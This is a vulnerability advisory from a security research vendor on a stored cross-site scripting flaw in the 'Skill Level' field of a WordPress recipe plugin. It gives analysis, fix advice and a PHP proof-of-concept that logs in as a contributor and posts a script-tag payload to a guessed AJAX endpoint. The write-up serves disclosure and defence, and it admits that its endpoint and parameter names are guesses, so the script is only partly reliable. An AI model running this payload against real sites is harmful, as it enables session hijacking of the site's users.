Atomic Edge analysis of CVE-2025-13667 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WP Recipe Manager plugin for WordPress. The ‘Skill Level’ input field lacks proper sanitization and output escaping. Attackers with Contributor-level access or higher can inject arbitrary JavaScript, which executes when a user views a compromised recipe page. The CVSS score of 6.4 reflects a medium-severity issue with scope change and low impacts on confidentiality and integrity.
The root cause is improper neutralization of input during web page generation (CWE-79). The vulnerability description confirms insufficient input sanitization and output escaping on user-supplied attributes for the ‘Skill Level’ field. Atomic Edge research infers the plugin likely accepts user input via a front-end form or admin interface, stores it in the database without adequate sanitization, and then outputs it without proper escaping in a recipe template. This conclusion is based on the CWE classification and the description of a stored XSS vector.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker would navigate to the recipe creation or editing interface. They would inject a malicious JavaScript payload into the ‘Skill Level’ parameter. A plausible payload is alert(document.domain). The payload would be submitted via a POST request, likely to wp-admin/admin-ajax.php or a custom admin endpoint handling recipe data. The exact AJAX action or REST endpoint cannot be confirmed without code, but a common pattern is an action like wp_ajax_wprm_save_recipe.
Remediation requires implementing proper input validation and output escaping. The plugin developers should sanitize the ‘Skill Level’ input on receipt using functions like sanitize_text_field(). They must also escape the output on display using functions like esc_html() or esc_attr(), depending on the context. A comprehensive fix would involve auditing all user-controlled fields for similar issues. No patched version is available, indicating the plugin may be abandoned.
Successful exploitation allows attackers to inject malicious scripts into recipe pages. These scripts execute in the context of any user viewing the page. This can lead to session hijacking, actions performed on behalf of the user, defacement, or redirection to malicious sites. The impact is limited to the context of the vulnerable site and the permissions of the viewing user. Attackers cannot directly escalate privileges to administrator but could target administrators to perform higher-privilege actions.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13667 - WP Recipe Manager <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'Skill Level' Input Field
<?php
/**
* Proof of Concept for CVE-2025-13667.
* This script simulates an attack by an authenticated Contributor+ user.
* It attempts to inject a stored XSS payload into the 'Skill Level' field.
* The exact endpoint and parameter names are inferred from WordPress plugin patterns.
* Assumptions:
* 1. The plugin uses admin-ajax.php for saving recipe data.
* 2. The AJAX action contains 'wprm' (plugin slug prefix).
* 3. The parameter for the skill level is named 'skill_level' or similar.
* 4. A valid WordPress nonce is required but may be bypassable; this PoC attempts to retrieve one from an edit page.
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_password'; // CONFIGURE THIS
$payload = '<script>alert("Atomic Edge XSS Test: "+document.domain)</script>';
// Step 1: Authenticate and get session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Attempt to find a recipe ID to edit and retrieve a nonce.
// This is a speculative step; actual implementation would require parsing the admin page.
$admin_url = $target_url . '/wp-admin/edit.php?post_type=wprm_recipe';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Step 3: Craft the exploit request to the presumed AJAX endpoint.
// The action is guessed as 'wprm_save_recipe'. The parameter for skill level is guessed as 'wprm_skill_level'.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'wprm_save_recipe',
'wprm_skill_level' => $payload,
'post_id' => 'NEW', // Assumes creating a new recipe; could be an existing ID.
'nonce' => 'retrieved_nonce_placeholder' // In a real attack, this would be extracted from the page.
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$response = curl_exec($ch);
curl_close($ch);
echo "PoC executed. Check response for success indicators.n";
echo "Response snippet: " . substr($response, 0, 500) . "n";
// Note: Without the actual plugin code, this PoC may fail. It demonstrates the attack vector.
?>
